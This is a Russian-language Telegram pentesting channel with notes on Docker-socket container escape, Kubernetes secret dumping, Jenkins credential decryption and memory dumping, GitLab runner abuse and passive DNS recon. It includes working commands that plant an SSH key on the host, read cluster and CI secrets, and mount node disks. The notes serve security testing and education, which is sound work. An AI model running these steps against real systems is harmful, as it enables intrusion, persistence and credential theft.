Нарыл
1.53K subscribers
6 photos
2 files
26 links
Канал о практической информационной безопасности. Автор - https://t.iss.one/sorokinpf
Download Telegram
Channel created
Таки дозрел до того чтобы создать канал.

Буду сюда писать заметки и фишки, которые помогли мне в решении практических задач, как правило пентестерских. Часть будет прямо горяченькая, из консоли и бурпа, что-то из моих старых и проверенных заметочек.
👍2🔥2
Поехали
Если вы оказались в docker контейнере, в который проброшен Docker API socket, то это может позволить выбраться из контейнера на хостовую машину. Для этого, например, можно запустить привилегированный контейнер, подмонтировать в него хостовую ФС и дальше, например, вписать свой ключ в /root/.ssh/authorized_keys:
docker run --privileged -v /:/mnt ubuntu echo key >> /mnt/root/.ssh/authorized_key


Это все понятно, но вот сегодня я в очередной раз оказался в контейнере с прокинутым docker.sock, но без docker CLI. Ситуация вполне возможна если вы пробрались в условный Gitlab используете docker shared runner и не знаете в каком из доступных образов есть docker cli, при этом прямого доступа в интернет нет.

Значит придется взаимодействовать с докеровским unix socket на прямую. Docker API Socket принимает запросы по протоколу HTTP (docs). А значит можно использовать curl ... --unix-socket /var/run/docker.sock.

Составил для себя список альтернативных docker команд:

docker image:

curl --unix-socket /var/run/docker.sock https://localhost/images/json | jq '.[].RepoTags'


docker ps:

curl --unix-socket /var/run/docker.sock https://localhost/containers/json | jq '.[] | "\(.Id) \(.Image)"'


docker pull:

curl --unix-socket /var/run/docker.sock -X POST 'https://localhost/images/create?fromImage=busybox&tag=latest'


Создать привилегированный контейнер, в котором будет выполнена команда - (docker create):

curl --unix-socket /var/run/docker.sock -X POST 'https://localhost/containers/create' --data '{"Cmd":["/bin/bash","-c","echo key > /mnt/root/.ssh/authorized_keys"],"Image":"ubuntu","HostConfig":{"Binds":["/:/mnt/"],"RestartPolicy":{"Privileged":true}},"Tty":true}' -H "Content-Type: application/json"


docker start:

curl --unix-socket /var/run/docker.sock -X POST https://localhost/containers/<id>/start


docker logs:

curl --unix-socket /var/run/docker.sock 'https://localhost/containers/<id>/logs?stderr=1&stdout=1&tail=all' --output -


docker rm:

curl --unix-socket /var/run/docker.sock -X DELETE https://localhost/containers/<id>


Тут важно что нельзя одним запросом создать и запустить контейнер, как делает docker run. Под капотом он выполняет два HTTP запроса. Первый запрос возвращает айдишник, который нужно использовать в последующем.

Также, если curl тоже нету, то можно обращаться с unix socket через python, примерно так:

sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.connect('/var/run/docker.sock')
sock.send('''GET /containers/json HTTP/1.1
Host: /var/run/docker.sock

''')
sock.recv(1024)
👍3
Channel photo updated
Кстати, в той же ситуации с выходом из docker gitlab runner есть еще одна проблема - мы понятия не имеем где этот раннер расположен. Ну записали мы ssh ключ, а куда с этим ключом коннектится то? Чтение /etc/hostname не всегда помогает. Обнаружил что IP адрес хоста может быть записан в файле в /etc/netplan. Верно как минимум для Ubuntu 18.04.
Рубрика заметка нубаса:

Не так давно я начал разбираться в безопасности кубера. Поэтому актуальное.

Если мы можем делать get pods в кубере (кстати, текущие права можно посмотреть с помощью kubectl auth can-i --list ), то это не так безобидно как кажется на первый взгляд.
Можно запросить полное описание pod, например так:

kubectl get pods <pod_name> -n <namespace> -o yaml


А там будет в том числе environment который использовался при запуске всех контейнеров pod'а. А в environment могут быть вкусные секреты.

Можно не мелочиться и забрать весь environment всех контейнеров всех pod'ов сразу с помощью jsonpath:

kubectl get pods -n <namespace> -o 'jsonpath={range .items[*]}{.metadata.name}{"\t"}{.spec.containers[*].env}{"\n"}{end}}'
👍4
Keycloak - популярное IAM решение. Настолько популярное что когда я встречал его на пентестах, я его особо и не проверял - зачем, там ведь уже все баги найдены и исправлены.

Ну как минимум redirect_uri точно нельзя подделать. ... Правда?

Оказалось что не совсем. В конфиге keycloak'овского client redirect_uri необходимо указать. И там можно использовать символ вайлдкарда.
То есть ленивые админы если им надо прописать, например, для сервисов https://best.service.company.com, https://best.service.prod.company.com, https://best.service.stg.company.com redirect_uri, могут просто использовать https://best.service.* Со всеми вытекающими - угоном access code и аутентификацией в зависящих от keycloak приложениях. Ну а дальше уже зависит от того что может best.service и насколько он критичен с точки зрения безопасности.
👍7
О секретах Jenkins

Jenkins - CI/CD решение. А значит ему нужно где-то хранить креды для доступа к серверам, docker registry, nexus и так далее. В Jenkins есть встроенное хранилище Credentials. Фактически секреты сохраняются на файловой системе в файле .jenkins/credentials.xml (тут и далее .jekins - домашний каталог jenkins, может отличаться в зависимости от установки). Сами секреты зашифрованы. Но зашифрованы они ключами из двух файлов, которые тоже храняться на файловой системе: .jenkins/secrets/master.key и .jenkins/secrets/hudon.util.Secret. Таким образом доступ к этим файлам позволяет получить доступ ко всем сохраненным credentials всех пользователей.

Доступ к ФС может быть получен, например, если администраторы не уменьшили количество executor на master до значения 0, но для этого нужен доступ уровня разработчика в интерфейс Jenkins. Также на моей практике был и обратный случай, когда я попал на windows-сервер с правами пользователя и мог читать файлы Jenkins, один из паролей в сохраненных кредах подошел к интерфейсу Jenkins.

Для расшифрования секретов можно использовать скрипт.
Также, при доступе в интерфейс можно использовать groovy скрипт:

println( hudson.util.Secret.decrypt("{AQAAABAAAAAQ}") )

где в кавычках идет зашифрованная строка из credentials.xml. Скрипт этот можно выполнить в https://jenkins/script либо в build job'е с типом pipeline.
Статья с разбором устройства шифрования
👍8
О раннерах Gitlab

В большинстве установок Gitalb которые я видел используются Shared Runners. Shared Runners - это раннеры, которые можно применяться для сборки (ну или произвольного выполнения команд, смотря чьими глазами смотреть на это) в абсолютно любом проекте. Альтернатива шаред раннерам в Gitlab - Specific Runners. Последние могут быть закреплены за группой, проектом или даже только за protected branch в рамках git репозитория.

Для того чтобы посмотреть список доступных Shared Runners нужно создать/зайти в проект и перейти в Settings -> CI/CD -> Runners. Раннеры помечены синими плашками с тегами, с помощью этих тегов можно выбрать себе раннер по душе. Для этого нужно указать параметр tags в описании джобы в .gitlab-ci.yml.

Важно понимать что Gitlab Runner - все разные. И дело не только в списке установленного софта. Конфигурация позволяет добавить environment переменные. А также могут выполняться pre_build_script, или монтироваться volume. И то и другое и третье может использоваться админами для того чтобы добавить раннеру специфичные права. Например, добавляем раннеру тег ansible и подкладываем ему в виде volume ssh-ключ ansible. А как правило это God-Mode ключ, который может все внутри инфраструктуры.

Так что в случае получения доступа в Gitlab очень полезно создать персональный проект и посмотреть environment и подмонтированные файлы всех доступных Shared Runner, можно найти много интересного.
🔥6
Продолжение о раннерах Gitlab

Gitlab поддерживает разные типы executor. В зависимости от типа экзекьютора, выбранного для раннера, мы можем выполнять разные действия.

При использовании shell executor все сборки выполняются напрямую в шелле операционной системы от одного пользователя ОС. Если такой раннер является Shared, то безопасной конфигурации тут не может быть в принципе, по крайней мере я её себе не представляю. Любой кто может использовать такой раннер может создать процесс, который будет следить за всем что происходит на раннере, забирать исходные коды репозиториев, загружаемых на раннер, воровать env-переменные из других процессов. А также можно подменять артефакты сборки, что означает вполне вероятный взлом прода. С практической точки зрения следить за другими процессами удобно с помощью pspy.

В своей практике я встречал shell executor только для Windows раннеров. Выбор экзекьюторов для винды в Gitlab не такой богатый как в linux, так что это можно объяснить. Windows раннер по умолчанию стартует с правами локального администратора, так что находка такого shared runner может быть отправной точкой для атаки на Active Directory.

Windows раннер также можно установать так, чтобы он использовал учетную запись, которая не является локальным админитратором. Но это слабо помогает - процесс раннера стартует как сервис и получает группу NT AUTHORITY\SERVICE, откуда он наследует SeImpersonatePrivilege. А значит на нем можно довольно легко подняться до NT AUTHORITY\SYSTEM используя *Potato (например, SweetPotato) или PrintSpoofer.
🔥2👍1
И наверно пока что последняя заметка о раннерах Gitlab

Gitlab поддерживает сборку docker с помощью docker и kubernetes executor (еще можно через shell, но там и так все понятно). В обоих случаях в запускаемых джобах становится доступным docker.sock. Для docker executor можно выйти на хост, развивать дальнейшую атаку, лезть в другие пайплайны и т.д. - тут все понятно. https://t.iss.one/naryl_sec/6 - например вот тут обсуждалось.

С kubernetes executor все немного интереснее. Kubernetes создает отдельный docker daemon для каждой выполняемой job. То есть напрямую влиять на соседние job не получится, у каждой job свой персональный инстанс docker. Если попытаться выйти из job на хостовый docker обычным способом через подмонтирование файловой системы "хоста", то окажется что там девственно чистая система в которой нет ничего кроме docker. Но чтобы вся эта конструкция работала "хостовая" ОС запускается как привелигированный контейнер в kubernetes. То есть получается такая трехуровневая история - kubernetes (первый уровень) запускает контейнер с docker daemon (второй уровень), а также запускается контейнер в котором выполняется гитлабовская job (третий уровень), в которую прокинут docker API socket со второго уровня. Атакующий может запустить с помощью проброшенного docker API socket привелигированный контейнер (ну или выйти на "хостовый docker", который также является привелигированным контейнером). А из него уже можно подниматься до куберовской ноды. Например, путем монтирования файловой системы ноды в контейнер:


fdisk -l // Смотрим список устройств
mkdir /mnt/node
mount /dev/<нужное устройство> /mnt/node
1👍1
Что-то последнее время вообще не было времени, сори за длинную паузу.

Продолжим говорить о CI/CD и в этот раз о Jenkins (хотя частично информация актуальна для любой системы).

Предположим, что мы можем создавать и запускать Job в Jenkins, но при этом исполнение на master node запрещено конфигурацией. А также предположим что часть проектов использует разделяемый ssh-agent.

Поднять свои права в Jenkins в таком случае не получится, однако в такой конфигурации мы можем запускать свои команды на агенте и соответственно влиять на процесс сборки других проектов. Все процессы сборки всех проектов на ssh-agent запускаются от имени одного и того же пользователя (по умолчанию - jenkins). И порождает их общий процесс агента, который запущен из под того же самого пользователя. Соответственно нет никаких ограничений с точки зрения ОС на доступ к сборкам других проектов. Теоретически понятно, что мы можем:
1) читать исходный код, т.к. он скачивается для сборки и какое-то время находится на агенте
2) получить доступ к используемым секретам, ведь они используются при сборке и контроллер Jenkins должен их как-то передавать на агент
3) подменять артефакты сборки, ведь они создаются на агенте и потом как-то отправляются на контроллер

Теперь практически.

Процесс jenkins агента в процессе сборки запускает команды ОС. cmdline создаваемых процессов можно получить, например, с помощью pspy. В параметрах командной строки могут быть пути к директориям в которые делаются git clone (а значит там исходники), а также могут быть секреты.

Также, если разработчики конфигурируют пайплайны не аккуратно, секреты могут оставаться сохраненными на самом агенте. Например, если в процессе сборки выполняется docker login, то вероятно что в /home/jenkins/.docker/config останется пароль в открытом виде (а это дает нам возможность пушить в registry, то есть подменять артефакты). Также может остаться конфигурация в /home/jenkins/.kube/config. Короче, полезно заглянуть в домашний каталог и посмотреть что там лежит.

Часть секретов jenkins агент использует внутри своего процесса и никуда не передает и не сохраняет. Для того чтобы достать такие секреты можно анализировать память процесса jenkins агента. Напоминаю что jenkins написан на Java и копаться в его памяти совсем не так сложно, как может показаться.

Снять heapdump памяти можно такой командой:

jcmd <jenkins_agent_PID> GC.heap_dump /tmp/heapdumpfile.hprof


Секреты храняться в наследниках класса hudson.util.Secret. Дальше анализировать такой дамп можно вручную с помощью jhat или Eclipse Memory Analyzer. Можно пытаться автоматизировать, я делал к этому подход на основе проекта - парсера hprof py-hprof. Но это конечно скорее PoC чем готовая тулза. Также секреты через некоторое время удаляются из памяти агента, так что для того чтобы насобирать секреты нужно продолжительное время постоянно снимать дампы и запускать их анализ.
👍3
При анализе скоупа внешнего пентеста есть задача сбора всех доменнов и поддоменов. Один из возможных шагов - определение известных доменов по имеющимся в скоупе IP-адресам. То есть Reverse DNS.

В решении этой задачи обычный Reverse DNS - резолв PTR-записи - довольно бесполезен. Эту запись используют только при настройке SMTP-серверов и то не всегда.

Но есть базы, хранящие связки домен:IP-адрес всего (или существенной части) Интернета, и позволяющие резолвить в обе стороны. Одна из таких баз - PassiveTotal. Для доступа к API нужно зарегистрироваться и получить ключ на 1000 запросов в месяц.

Для выполнения запросов можно использовать консольный клиент или python библиотеку (1,2)
👍9